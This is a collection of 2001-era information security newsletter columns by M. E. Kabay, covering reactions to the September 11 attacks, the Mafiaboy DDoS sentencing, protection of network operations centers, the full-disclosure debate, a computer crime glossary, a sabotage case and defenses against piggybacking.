Many security people have been asked for our thoughts about the horrific attacks of the 11th of September simply because we are presumed to have special knowledge of security-related issues. In this issue of the Security Newsletter, I'd like to draw readers' attention to several sources of thoughtful commentary and pointers to further reading.

Professor Phil Agre of the Department of Information Studies at the University of California, Los Angeles < http://dlis.gseis.ucla.edu/people/pagre/ > is the publisher of the widely-respected Red Rock Eater News Service (RRE). I have enjoyed his thoughtful and original analyses of all manner of stimulating topics for several years as a subscriber to this one-way mailing list < http://dlis.gseis.ucla.edu/people/pagre/rre.html >. In addition to publishing his own essays and distributing interesting work by other thinkers, Prof. Agre collects and organizes Web links contributed by his many readers. Since the attacks on the World Trade Center and the Pentagon, he has posted hundreds of URLs about the situation; anyone looking for research materials will find a wealth of sources listed ranging from brilliant political analysis to rants from the lunatic fringe.

Another source of pointers to published articles and occasional letters and opinion pieces is the Politics of Technology list run by journalist Declan McCullagh < http://www.politechbot.com/ >. McCullagh is a gifted writer himself, and in addition to his own publications, his list provides a daily source of stimulating and often provocative discourse about the implications of technology for political life.

Peter Neumann < http://www.csl.sri.com/users/neumann/neumann.html > is Principal Scientist at the Computer Science Laboratory of SRI and is a giant in the field of security. His only defect, in the opinion of many, is an irrepressible capacity for truly horrible puns. His moderated Risks Forum ("Forum on Risks to the Public in Computers and Related Systems") is accessible as a USENET newsgroup (comp.risks) and also in digest form by e-mail < http://www.csl.sri.com/users/neumann/neumann.html#3 >. RISKS regularly publishes short, thoughtful articles analyzing recent events and publications bearing on technology and society.

Dr Neumann is also a founder, with Lauren Weinstein, of People for Internet Responsibility (PFIR) < http://www.pfir.org/ >, which focuses on "the present and future operations, development, management, and regulation of the Internet in responsible ways." I found the organization's "Statement on Terrorism, Civil Liberties, and the Internet" < http://www.pfir.org/statements/liberties > to be a balanced and thoughtful analysis of some of the political responses to the current situation.

The Electronic Privacy Information Center (EPIC, http://www.epic.org) provides a valuable compendium of privacy-related resources; EPIC is a particularly good source of materials for anyone interested in the civil liberties dimensions of the current crisis. EPIC supports the statement entitled "In Defense of Freedom" < http://www.indefenseoffreedom.org/ > that has been prepared by over 150 organizations.

Bruce Schneier, well-known cryptographer and thinker, publishes the Crypto-Gram newsletter < http://www.counterpane.com/crypto-gram.html > on the 15th of the month; he has, exceptionally, published a special issue dated September 30, 2001 that focuses on the September 11th events and their aftermath. Schneier offers his clear thinking on a number of crucial topics, including

* The Attacks
* Airline Security Regulations
* Biometrics in Airports
* Diagnosing Intelligence Failures
* Regulating Cryptography
* Terrorists and Steganography
* Protecting Privacy and Liberty
* How to Help.

All of us with a technology background should be particularly concerned with proposals to use information technology in the battle against terrorism. We owe it to our nations and to ourselves to bring our knowledge and experience to bear on what our legislators and other elected officials are offering as solutions to complex problems. I hope that the resources described above will help all of us clarify our own thinking about what we can do to improve national security and the security of the networks and computer systems for which we are responsible.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. "Mafiaboy" Sentenced

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

"Mafiaboy," the Montreal-area youth who attacked Amazon, Buy.com, CNN, Dell, eBay, Excite, U. Mass., U. Cal. Santa Barbara, Yahoo and other prominent Web sites in February 2000, was sentenced in Quebec Youth Court on 12 Sep 2001 to 8 months in a juvenile detention center and fined C$250 (~U$165) to be given to charity. He will enter one year of probation after his jail term.

The youth, now 17, was caught when Royal Canadian Mounted Police wiretaps captured him bragging about his exploits.

The boy had pled guilty to 58 counts of mischief for launching distributed denial-of-service (DDoS) attacks against sites in the US, Canada, Denmark and Korea.

Judge Ouellet emphasized the grave nature of the attacks but said that the youth had criminal intent but did not have a goal of fraudulent gain; he said the defendant was seeking enhanced reputation for his coup among criminal hackers. The judge rejected excuses presented by the boy, who claimed that he was testing sites with the goal of improving their security but said he thought "Mafiaboy" was unaware of the full extent of the damages caused by his DDoS attacks.

According to press reports, the youth showed no emotion during the trial; his attorney, Yan Romanowksi, is reported as saying that his client was distressed by the jail sentence and might launch a judicial appeal: "He hoped the judge had understood that he had had his lesson and that detention was not a proper remedy in these circumstances. . . . Detention is too much as far as I am concerned."

* * *

What strikes me about this case is the reported attitude of the defendant. As far as I can see from the news stories listed at the end of this newsletter, the boy seems to have expressed no regret over his actions; on the contrary, his excuses about testing security are the classic defense of the unrepentant criminal hacker. The boy's parents, understandably, had expressed hopes that their son would avoid prison; the attorney's comments are also understandable given his role in defending his client's interests. Nonetheless, it is clear from these responses that the boy is surrounded by adults who do not themselves grasp or admit the gravity of the crimes he carried out. Stock prices of some of the affected sites dropped noticeably during and immediately after the attacks and estimates of lost business reached into the millions of dollars. Had the youth robbed a bank of equivalent amounts, I doubt that anyone would be bleating about the injustice of eight months in detention.

The general public still does not understand the consequences of criminal hacking. Network specialists such as the readers of this column can help to change this lack of knowledge by contributing to education of students, teachers and parents. See the resources in the Ethics section of my new Web site at < http://www.mekabay.com/ethics/index.htm >.

Homeland Defense in the Network Operations Center

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

With the nation being called upon to participate in Homeland defense, network managers can play a role by protecting corporate resources against sabotage and disruption. In today's column, I want to summarize what I see as the top priorities for maintaining or improving security in the network operations center.

Starting with physical protection, examine the ease of access to the building where your network equipment is centralized. If it is possible to keep cars and trucks from stopping directly in front of your main entrance, you can install some sturdy concrete obstructions to give your building a few extra yards of protection against an explosion. For example, a few concrete cylinders anchored to the pavement with steel rods could make your building a less attractive target for a car-bomb driver. At the least, the extra distance could reduce the severity of damage from an explosion. You can even put potted plants on top of the concrete to reduce their stark appearance.

On the other side of your building, be sure that your loading docks are well supervised and that all shipments are checked by guards to be sure that they are expected.

As for infrastructure, make sure that external air vents for the environmental control systems are covered with grillwork to reduce the chances of air-borne contamination. Verify that your telecommunications point-of-presence junctions are locked and, if possible, armored against intrusion and damage. Check your emergency power supplies to be sure that they work and that your staff know how to configure the building's power distribution panels to use emergency power efficiently.

If your data or network center has windows on an external wall, now is the time to get those vulnerabilities bricked up.

For large buildings with many employees, press for application of policies requiring all authorized personnel to wear ID badges at all times in the building and to remind employees to report any unknown person who is not wearing a badge.

Remind your staff of the importance of being discreet in all public discussions of corporate affairs, including non-secure mobile phones calls. Be particularly circumspect whenever an unknown person begins asking questions about operations and security. At the office, technical support staff should be reminded never to reveal or reset passwords for anyone over the phone.

Be particularly vigilant about physical access to the network operations center; reduce or eliminate guided tours of your critical work areas. Check your surveillance monitors to be sure that all equipment is working properly. Do not permit cleaning staff, especially contractors whose personnel may change frequently, to have unsupervised access to secure areas.

On the network software side, the single most important protective mechanism you have is to ensure that all appropriate patches have been installed. Use the ICAT Metabase < http://icat.nist.gov/icat.cfm > to check for the right combination of patches for your configuration.

Instruct network staff to be particularly alert to all unusual events reported by your firewalls and by intrusion detection systems. If there is any doubt about the significance of an alert, it should be followed up.

If any of your employees, especially upper managers, have sensitive data on their laptop computers, do your best to convince them to use disk encryption software that will transparently protect those data.

Finally, everyone should be really in evaluating the suitability of their emergency response plants. Make or renew working contacts with local law enforcement authorities; ask your fire department to schedule a site review; update your business resumption plans to include disruptions from bomb Hoaxes or threats of biological contamination. To the extent possible, run tests of your disaster recovery plans.

* * *

Even if you disagree with the particular suggestions in this article, my list will serve a good purpose if it makes you devise and implement your own set of priorities for protecting America's infrastructure.

Whether we like it or not, every one of us is personally responsible for protecting our country.

Why Discuss Computer Crime?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In public discussion of crime techniques, someone always asks whether it's prudent to talk about crime so openly.

The arguments against such discussion fall into two classes. Won't people get ideas? That is, will discussing crime lead to more crime? And won't descriptions of how to commit a crime teach criminals how to be more effective? That is, will discussing crime make crime prevention harder?

Yes, it is possible that describing criminal acts will suggest to people on the borderline of honesty that they could carry out a similar crime. Copycat crimes are a well known consequence of newspaper stories about any unusual crime. The romantic image of crackers in such movies as *War Games* and *Sneakers* may indeed contribute to the delinquency of computer-literate minors.

However, when computer crime techniques are put in perspective, it is hard to believe that the overall effect is to encourage crime. When I teach industrial and university courses on computer crime, I repeatedly stress that the criminals who abuse information systems and use computers in their crimes are enemies of society. Embezzlers steal the life savings of innocent victims; thieves and swindlers and extortionists increase the costs of goods and services for everyone; and blackmailers victimize the weak and push them into despair.

As you read descriptions of computer crime, be on guard against the seductive lure of crime. Some criminal techniques are so clever and so original that it's easy to fall into the trap of admiring the criminals. Remember that the criminals consider themselves better than you and me; they put themselves above the norms of decency and kindness that most of us strive for. Computer criminals are often intelligent, but at a fundamental level they are despicable and defective human beings.

If that mantra doesn't sour your admiration for crooks, nothing will.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Disclosing Vulnerabilities: Giving Aid to the Enemy?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Is there danger in showing criminals weaknesses in security? Are well-meaning security practitioners giving succor to the Bad Guys every time we openly discuss vulnerabilities? Sometimes this problem is known as the "full-disclosure" issue, and it is not yet a settled question.

Security practitioners have struggled with this problem for years. In the first place, much of the discussion in textbooks and at security conferences centers on carelessness and lack of training, not on criminality. Helping managers and employees tighten up their attention and improve their policies to reduce accidents will not aid criminals.

Another answer has been commonplace in military doctrine since some nameless protohuman decided to fight back against the local top carnivore: security is by its nature a defensive proposition. There are many ways of breaching barriers; the foe need find any one of the weak spots, but the defenders must guard the entire perimeter. Security professionals do the best they can given constraints of time and money, but people determined to overcome the defenses can spend as much time and effort as they wish to locate weak spots.

Another point supporting the value of teaching vulnerabilities is that a course or discussion of counter-measures need not provide solace to the enemy. Discussing forgery techniques, for example, can go as far as mentioning that color copiers and scanners make it easy to counterfeit some currencies and official documents. However, it doesn't take a rocket scientist to realize that imaging technology can be abused. Simply pointing out the problem does not constitute a primer in the techniques, especially when coupled with admonitions to be more skeptical about official-looking documents of all sorts. The balance of risks and benefits seems clearly on the side of benefits.

At the next level of detail, should security experts publish details of attacks sufficient to allow less-skilled people to use particular exploits against known vulnerabilities? In recent days, Scott Cup, manager of Microsoft's Security Response Center, published a heartfelt essay < http://www.microsoft.com/technet/treeview/default.asp?url=/technet/columns/security/noarch.asp > urging security experts to stop "providing blueprints for building these weapons. And it's high time computer users insisted that the security community live up to its obligation to protect them. We can and should discuss security vulnerabilities, but we should be smart, prudent, and responsible in the way we do it."

In a controversial case of providing too much information, someone published a book in 1991 containing detailed instructions on how to create functional viruses. The book included functional source code that anyone could use as a model. The publication of this manual caused a furor in the anti-virus product developers' community. Some prominent anti-virus workers proposed to assault the author; others insulted him to his face. I and many others felt that it is unnecessary to give such detailed instructions to people interested simply in defending themselves against viruses. Very few people would be able to use detailed information about virus code for constructive purposes. It is enough for most people to rely on shareware and

commercial anti-virus products and let experts handle the dangerous code under conditions of tight security and isolation.

After all, no one seriously proposes that pathogenic organisms be freely distributed for amateur microbiologists. Nonetheless, the strongest argument in favor of full disclosure is that hiding knowledge is not an effective defense. Security by obscurity applies to passwords, but otherwise it's a faulty method for protecting systems.

I think that a reasonable position is that public disclosure of security vulnerabilities should be sufficiently detailed to support progress in improving products and defenses but not so detailed as to allow beginners everything they need to replicate the attack.

A Computer Crime Glossary:
Part 1, A-P

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In coming weeks, we'll be looking at the history and current status of different kinds of computer crime techniques. In my teaching and lecturing, I often find some confusion over exactly what specific terms mean in discussions of such security issues. I hope that the following glossary, which is distributed in two parts because of its size, will be useful for readers and for security awareness programs. Please feel welcome to use these definitions freely, with or without attribution, and to adapt them to your needs.

BACK DOOR: secret (undocumented), hard-coded access codes or procedures for accessing information. Some back doors exist in commercially-provided software packages; e.g., consistent (canonical) passwords for third-party software accounts. Alternatively, back doors can be inserted into an existing program or system to provide unauthorized access later. A program with an undocumented access method is an example of a Trojan Horse.

CRACKING: malicious or criminal *hacking*. Unauthorized *penetration* of computer systems and networks, abuse of privilege, unauthorized use of services.

DATA DIDDLING: modifying data for fun and profit; e.g., modifying grades, changing credit ratings, altering security clearance information, fixing salaries, or circumventing book-keeping and audit regulations.

DATA LEAKAGE: uncontrolled, unauthorized transmission of classified information from a data centre or computer system to the outside. Such leakage can be accomplished by physical removal of data storage devices (diskettes, tapes, listings, printouts and photographs of screen copies or handwritten notes) or by more subtle means such as data hiding (*steganography*) or even plain old human memory.

DENIAL-OF-SERVICE (DoS) attack: overwhelming or saturating resources on a target system to cause a reduction of availability to legitimate users. Usually involves *spoofing*.

DISTRIBUTED DoS (DDoS) attack: accomplished by enlisting the services of many compromised systems to launch a denial-of-service (DoS) attack.

EASTER EGG: undocumented, unauthorized program functions in a production program; a kind of Trojan Horse.

EXPLOIT: a method for exploiting a vulnerability to take control of a system or otherwise compromise it. Exploits are sometimes automated in *scripts.*

HACKING: for many years, a noble endeavor involving intense study, dedicated analysis and hands-on learning about any technical field, including computing. Unfortunately, despite the best efforts of computer hobbyists worldwide, since the early 1980s, thanks largely to the ignorance of undereducated journalists, the term has become synonymous with *cracking*.

HACKTIVISM (sometimes spelled HACTIVISM): politically- or ideologically-motivated vandalism. Defacing a Web site for no particular reason is vandalism; the same defacement to post political propaganda or to cause harm to an ideological opponent is hacktivism.

IMPERSONATION: pretending to be authorized to enter a secure location. Examples include swaggering into a site equipped with what look like tool kits of the manufacturer of computer equipment, or pretending to be a janitor. Impersonation is a key element of *social engineering*.

LATENCY: the period during which a time bomb, logic bomb, virus or worm refrains from overt activity or damage (delivery of the *payload*). Long latency coupled with vigorous reproduction can result in severe consequences for infected or otherwise compromised systems.

LOGIC BOMB: A program in which damage (the *payload*) is delivered when a particular logical condition occurs; e.g., not having the author's name in the payroll file. Logic bombs are a kind of Trojan Horse; time bombs are a type of logic bomb.

MAIL-BOMBING: sending large numbers of unwanted e-mail messages to a single recipient or to a group of such recipients. To be distinguished from *spamming*.

MALWARE: malicious software, including Trojan Horses, viruses, worms, logic bombs, exploits and time bombs.

MASTER PROGRAM: in distributed denial-of-service (DDoS) attacks, a program that communicates with implanted *zombie* or *slave* programs on compromised systems. The master program usually transmits encrypted instructions to zombies with details of which targeted system to swamp with junk transmissions at exactly what time.

PAYLOAD: the unauthorized activities of malicious software.

PENETRATION: unauthorized access to restricted systems or resources.

PIGGYBACKING: entering secure premises by following an authorized person through the security grid; also unauthorized access to information by using a terminal that is already logged on with an authorized ID (identification).

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. A Computer Crime Glossary:
Part 2, R-Z

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the second part of a glossary of basic terms used when discussing computer crime.

* * *

ROOT KIT: a script or set of scripts for gaining unauthorized *root* privileges (or equivalent supervisory powers) on a compromised system. Much used by *script kiddies.*

SABOTAGE: the word comes from the French for wooden shoe (*sabot*). Such footwear made a handy weapon for throwing into the gears of new mechanical systems that were causing unemployment during the industrial revolution of the 18th and 19th centuries. The term now means any deliberate damage to operations or equipment.

SALAMIS: technique of accumulating round-off errors or other small quantities in calculations and saving them up for later withdrawal; usually applied to money, although it could be part of an inventory-theft scheme.

SCAVENGING: using discarded listings, tapes, or other information storage media to determine useful information such as access codes, passwords, or sensitive data. Finding a listing for the source code for a new version of a popular proprietary program could be highly profitable for a computer crook. Also known as D*umpster® diving.*

SCRIPTS: an inoffensive term for any simple program, especially using a *scripting* or *macro* language; in computer crime work, however, scripts usually refer to automated systems for executing *exploits*.

SIMULATION: using computers to simulate a complex system in order to defraud it; e.g., inventing transactions to produce a pre-arranged bottom line in a financial report.

SPAMMING: a popular name for e-mail sent to many unwilling recipients in order to sell products or services (or sometimes to cheat naïve customers). Those wishing to avoid offending the innocent Hormel Corporation, owners of the Spam® trademark, refer to this indiscriminate bulk e-mail as junk e-mail or as UCE (unsolicited commercial e-mail).

SPOOFING: using incorrect identification; usually applied to electronic misrepresentation such as putting the wrong originating address on a TCP/IP packet. Much used in denial-of-service (DoS) and distributed DoS (DDoS) attacks.

SUPERZAPPING: using powerful utility software (originally the superzap utility on IBM mainframes) to access secure information while bypassing normal controls. Debug programs, and disk editors are examples of tools used for superzapping.

TIME BOMB: program or batch file waits for a specific time before causing damage. Often used by disgruntled and dishonest employees who find out they're to be fired or by dishonest consultants who put unauthorized time-outs into their programs without notifying their clients. Logic bombs and time bombs are Trojan Horse programs; time bombs are a type of logic bomb.

TROJAN HORSE: innocent-looking program that has undocumented and nefarious functions. So called by reference to Odysseus' wooden horse filled with soldiers that helped to capture Troy. Trojan Horse programs can, for example, alter data in a particular way, record passwords for later inspection, send confidential information to unauthorized destinations or open *back doors* into compromised systems.

VANDALISM: obvious, unauthorized, malicious modification or destruction of data such as information on Web sites.

VIRUS: Viruses infect executable code such as programs (e.g., .EXE and .COM files under DOS), boot sectors on disks and macro programs. The viral code reproduces with the *host* code is loaded into memory. So called by analogy with biological viruses, which subvert the functions of normal cells. Viruses are similar to worms but reside inside programs at all times. A virus can transform an ordinary program into an unintended Trojan horse.

WIRETAPPING: eavesdropping on data or voice transmissions by attaching unauthorized equipment or software to the communications medium (in the case of wires, coaxial metal cables and optical cables) or by intercepting and interpreting broadcast data (in the case of wireless phones, cellular phones, and wireless networks).

WORM: program which spreads through a computer system or network by replicating (like a virus) but without integrating itself into other executable code.

ZOMBIE: a program inserted into a vulnerable system to await further instructions; usually part of a distributed denial-of-service (DDoS) attack.

Sabotage:
Albert the Saboteur

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the most interesting cases of computer sabotage occurred at the National Farmers Union Service Corporation of Denver, where a Burroughs B3500 computer suffered 56 disk head crashes in the 2 years from 1970 to 1972. Down time averaged eight hours per incident. Burroughs experts concluded that the crashes must be due to power fluctuations. Total expenses for extensive rewiring and testing exceeded $2M (in today's currency) but the crashes continued despite the improvements. Further analysis showed that all the crashes had occurred at night when old Albert the night-shift operator had been on duty. Despite Albert's outstanding helpfulness and friendliness, management installed a closed-circuit TV (CCTV) camera in the computer room -- without informing Albert. After yet another crash occurred, the CCTV tape showed Albert opening up a disk cabinet and poking his car key into the read/write solenoid, shorting it out and causing the 57th head crash.

The next morning, management confronted Albert with the film of his actions and asked for an explanation. Albert broke down in mingled shame and relief. He confessed to an overpowering urge to shut the computer down. Psychological investigation determined that Albert, who had been allowed to work night shifts for years without a change, had simply become lonely. He arrived just as everyone else was leaving; he left as everyone else was arriving. Hours and days would go by without the slightest human interaction. He never took courses, never participated in committees, never felt involved with others in his company. When the first head crashes occurred--spontaneously -- he had been surprised and excited by the arrival of the repair crew. He had felt useful, bustling about, telling them what had happened. When the crashes had become less frequent, he had involuntarily, and almost unconsciously, re-created the friendly atmosphere of a crisis team. He had destroyed disk drives because he needed company.

In this case, I blame not Albert but the managers who relegated an employee to a dead-end job and failed to think about his career and his morale. Preventing internal sabotage depends on proper employee relations. If Albert the Saboteur had been offered a rotation in his night shift, his employer might have saved a great deal of money.

Managers should provide careful and sensitive supervision of employees' state of mind. Be aware of unusual personal problems such as serious illness in the family; be concerned about evidence of financial strains. If an employee speaks bitterly about the computer system, his or her job conditions, or conflicts with other employees and with management, TALK to them. Try to solve the problems before they blow up into physical attack.

Another crucial element in preventing internal and external sabotage is thorough surveillance. Perhaps your installation should have CCTV cameras in the computer room; if properly monitored by round-the-clock security personnel or perhaps even an external agency, such devices can either deter the attack in the first place or allow the malefactors to be caught and successfully prosecuted.

Piggybacking (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of my favourite *BC* cartoons (drawn by Johnny Hart) shows two cavemen talking about a third: "Peter has a mole on his back," says one. The other admonishes, "Don't make personal remarks." The final frame shows Peter walking by--with a grinning furry critter riding piggyback.

For readers whose native language is not English, "piggybacking" (origins unknown, according to various dictionaries) is the act of being carried on someone's back and shoulders. It's also known as pick-a-back. Kids like it.

So do criminals.

Now, if you are imagining masked marauders riding around on innocent victims' backs, you must learn that in the world of information security, piggybacking refers to unauthorized entry to a system (physically or logically) by using an authorized person's access code.

Physical piggybacking occurs when someone enters a secure area by passing through access control at the same time as an authorized person; e.g., walking through an door that has been opened by someone else.

Logical piggybacking means unauthorized use of a computer system after an authorized person has initiated an interaction; e.g., using an unattended terminal that has been logged on by an authorized user.

In a sense, piggybacking is a special case of impersonation--pretending to be someone else, at least from the point of view of the access-control system and its log files.

To interfere with physical piggybacking, we have to avoid making security a nuisance that employees will come to ignore out of contempt for ham-handed restrictions. For example, it is wise to control access to the areas that should be secure but not to unimportant areas.

The other crucial dimension of piggybacking is employee training. Everyone has to understand the risks of allowing normal politeness (e.g., letting in a colleague) to overcome security rules. Letting even authorized people into a secured area without registering their security IDs with the access-control system damages the audit trail but it also puts their safety at risk: in an emergency, the logs will incorrectly fail to indicate their presence in the secured area.

* * *

In the next article in this series, we'll look at logical piggybacking and how to make it more difficult.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at <

mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services. Visit his Web site at < http://www.mekabay.com/index.htm > for papers and course materials on information technology, security and management.

Piggybacking (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Using someone's logged-on workstation is a favorite method used by penetration testers or criminals who have gained physical access to devices connected to a network. Such people can wear appropriate clothing and assume a casual, relaxed air to convince passers-by that they are authorized to use someone else's workstation. Sometimes they pose as technicians and display toolkits while they are busily stealing information or inserting back doors into a target system.

Unattended workstations that are logged on are the principle portal for logical piggybacking. Even a workstation that is not logged on can be a vulnerability, since uncontrolled access to the operating system may allow an intruder to install keystroke-capture software that will log user IDs and passwords for later use.

A simple but non-automatic method is to lock the keyboard by physical removal of a key when one leaves one's desk. Because this method requires a positive action by the user, it is not likely to be fool-proof -- not because people are fools, but because we are not machines and so sometimes we forget things. In addition, any behavior that has no reinforcement tends to be extinguished; in the absence of dramatic security incidents, the perceived value of security measures inevitably falls.

There are two software solutions currently in use to prevent unauthorized use of a logged-on workstation or PC when the rightful session-owner is away:

- Automatic logoff after a period of inactivity
- Branch to a security screen after a timeout

One approach to preventing access at unattended logged-on workstations is at the operating system level. The operating system or a background logoff program can monitor activity and abort a session that is inactive. These programs usually allow different groups to have different definitions of "inactive" to adapt to different usage patterns. For example, users in the accounting group might be assigned a 10-minute limit on inactivity whereas users in the engineering group might get 30 minutes.

When using such utilities, it is critically important to measure the right things when defining inactivity. For instance, if a monitor program were to use only elapsed time, it could abort someone in the middle of a long transaction that requires no user intervention. On the other hand, if the monitor were to use only CPU activity, it might abort a process which was impeded by a database lock through no fault of its own.

Currently, PCs can be protected with the timeout features of widely-available and inexpensive screen-saver programs. They allow users to set a count-down timer that starts after keyboard-input; the screen saver then requests a password before wiping out the images of flying toasters, swans and whatnot. The critical question to ask before relying on such screen savers is whether they can be bypassed; for example, early versions of several Windows 3.11 and Windows 95 screensavers failed to block access to the CTL-ALT-DEL key combination and therefore allowed intruders to access the Task Manager window where the screensaver process could easily be aborted. Today's screensavers are largely free of this defect.

A few suggestions for secure screen savers, timeout and shutdown utilities (these references are not endorsements):

- Check your operating system and important application programs for existing logoff timeouts and enable them with appropriate parameters;

- See NetOFF, which works with Novell Netware and Windows NT -- from Citadel Technology < http://www.citadel.com/products/netoff.html > and its distributors;

- WinExit, part of the NT Resource Kit from Microsoft, is a secure screen-saver that causes an automatic session logoff after a timeout on Windows NT systems (see < http://www.win2000mag.com/Articles/Index.cfm?ArticleID=4541 > for details);

- ShutdownPlus family of products from WM Software < http://www.wmsoftware.com/shutdownplus/index.htm > which work with Windows 9X, NT and 2K operating systems and Citrix Metaframe include features for forcing a shutdown and reboot on a specified schedule and running particular applications before and after the shudown.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services. Visit his Web site at < http://www.mekabay.com/index.htm > for papers and course materials on information technology, security and management.

Piggybacking (3)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Such utilities are relatively crude; application-level timeouts are preferable to the blunt object approach of operating system-level logoff utilities or generic screen-lock programs. Using application timeouts, a program can periodically branch to a security screen for re-authentication. A security screen can ask for a password or for other authentication information such as questions from a personal profile. Best of all, such application-level functions, being programmed in by the development team that knows how the program will be used or is being used in practice. To identify inactivity, one uses a timed terminal read. A function can monitor the length of time since the last user interaction with the system and set a limit on this inactivity. At the end of the timed read, the program can branch to a special reauthentication screen. Filling in the right answer to a reauthentication question then allows the program to return to the original screen display. Since programmers can configure reauthentication to occur only after a reasonable period of inactivity, most people would not be inconvenienced.

A really smart program would actually measure response time for a particular entry screen for a particular user and would branch to the security screen only if the delay were much longer than usual; e.g., if 99% of all the cases where the John accessed the customer-information screen were completed within 5 minutes, the program would branch to the security screen after 5 minutes of inactivity. In contrast, if Jane took at most 10 minutes to complete 99% of her accesses to the employee-information screen, the program would not demand reauthentication until more than 10 minutes had gone by.

In summary, an ideal timeout facility would be written into application program to provide

- A configurable time-out function with awareness of individual user usage patterns;
- Automatic branching to a security screen for sophisticated reauthentication;
- Integration with a security database, if available;
- Automatic return to the previous (interrupted) state to minimize disruption of work.

Piggybacking (4)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Short of programming your own, sophisticated user-monitoring system in home-grown programs, is there any hope for spotting the user that leaves a workstation logged on to the network?

In general, there are problems with any system that simply reads a single data entry from a token which can be removed or uses input that does not require repeated data transfer. If the authentication data don't have to be supplied all the time, then the workstation and the program that is monitoring it cannot know that the user has left until a timeout occurs, just like any other software-based solution. For example, a single fingerprint entry, a single retinal scan, or a single swipe of a smart card are inadequate for detecting the departure of an authorized user because there is no change of state when the user leaves the area.

One approach to detecting the departure of an authorized user depends on access to a continuous stream of data or presence of a physical device; e.g., a system can be locked instantly when a user removes a smart card from a reader (or a USB token from the USB port) and then can be reactivated when the token is returned. Unfortunately, the presence of the physical device need not imply that the human being who uses it is still at the workstation. The problem might be reduced if the device were like an EZ-Pass proximity card that naturally got carried around by all users -- perhaps as part of a general-purpose, required ID badge that could serve to open secured doors as well as grant access to workstations and specific programs.

Another approach to program-based re-authentication would prevent piggybacking by means of biometric devices such as facial- or iris-recognition systems and fingerprint recognition units. For example, a non-invasive facial- or iris-recognition system could be used programmatically to shut down access the moment the user leaves the workstation and reactivate access when the user returns. Similarly, a touchpad or mouse with a fingerprint-recognition device could continually reauthenticate a user silently and with no trouble at all whenever the user moves the cursor.

Another tool that might be used for programmatic verification of continuous presence at a keyboard is keyboard typing dynamics. Such systems learn how a user types a particular phrase as a method of authentication. However, with today's increased processor speeds and sophisticated pattern-recognition algorithms, it ought to be possible to have a security module in a program learn how a user usually types -- and then force reauthentication if the pattern doesn't match the baseline. True, this system might produce false alarms after a three-martini lunch -- but maybe that's not such a bad idea after all.

Such sophisticated methods are still not readily available in the workplace despite steadily falling costs and steadily rising reliability. It will be interesting to see how the field evolves in coming years as Moore's Law (cutting costs in half or doubling computational power roughly every 12-18 months) continues its astonishing progress.

INFOSEC Glossaries Online

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Readers have asked me for links to more extensive glossaries covering computer crime and information security.

The Critical Infrastructure Assurance Office has an extensive glossary that includes hundreds of information security (INFOSEC) terms. The first page of this glossary is at < http://www.ciao.gov/CIAO_Document_Library/glossary/A.htm >.

A 1992 publication from the National Security Telecommunications and Information Systems Security Instruction (NSTISSI) publication number 4009, the "National Information Systems Security (INFOSEC) Glossary" < http://www.cultural.com/web/security/infosec.glossary.html > has "standard definitions for many of the specialized terms relating to the disciplines of communications security (COMSEC) and automated information systems security (AISS), sometimes referred to as computer security (COMPUSEC). In general, communications and data management terms that do not relate closely to telecommunications and automated information systems security are outside the scope of this document and are not included." A later edition is available as a PDF document from < http://www.nstissc.gov/Assets/pdf/4009.pdf >.

PC Magazine has 18 different glossaries online including the Internet Security document at < http://www.zdnet.com/pcmag/pctech/content/special/glossaries/internetsecurity.html >.

Internet Request for Comments 2828 (RFC2828) by R. Shirey was last updated in May 2000 and provides definitions and commentary on 284 important terms and acronyms in our field. The entire document is available at < http://www.faqs.org/rfcs/rfc2828.html > and also has a search facility that covers more than 3100 RFCs. Incidentally, I'm sorry to note that Kent Landfield, the volunteer manager of this excellent resource, is in desperate need of money to keep paying the bills for his site now that he has lost formal funding for faqs.org; I immediately clicked on the convenient donation button (coordinated courtesy of AMAZON.COM) and made my contribution. I hope readers will join the effort to save this Web site. See < http://www.faqs.org/save_faqs-org.html > for full details.

The downloadable "Draft Comprehensive Information Assurance Dictionary" was compiled by Dr Corey Schou, Dr James Frost and their colleagues Nathan Wingert, Jason Larsen, Herbert Lafond and Edward Munson from the National Information Assurance Training and Education Center at Idaho State University < http://security.isu.edu/ >. This massive work in progress has reached 417 pages in length and is still open to comments and suggestions from readers. This is a resource that everyone can use, especially with the helpful bookmarks that allow immediate access to specific terms. The 3.9 MB PDF file may be downloaded from < http://security.isu.edu/NIATEC%20%20V3.0d.pdf >.

REDESI Worm Disguised as Security Fix

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

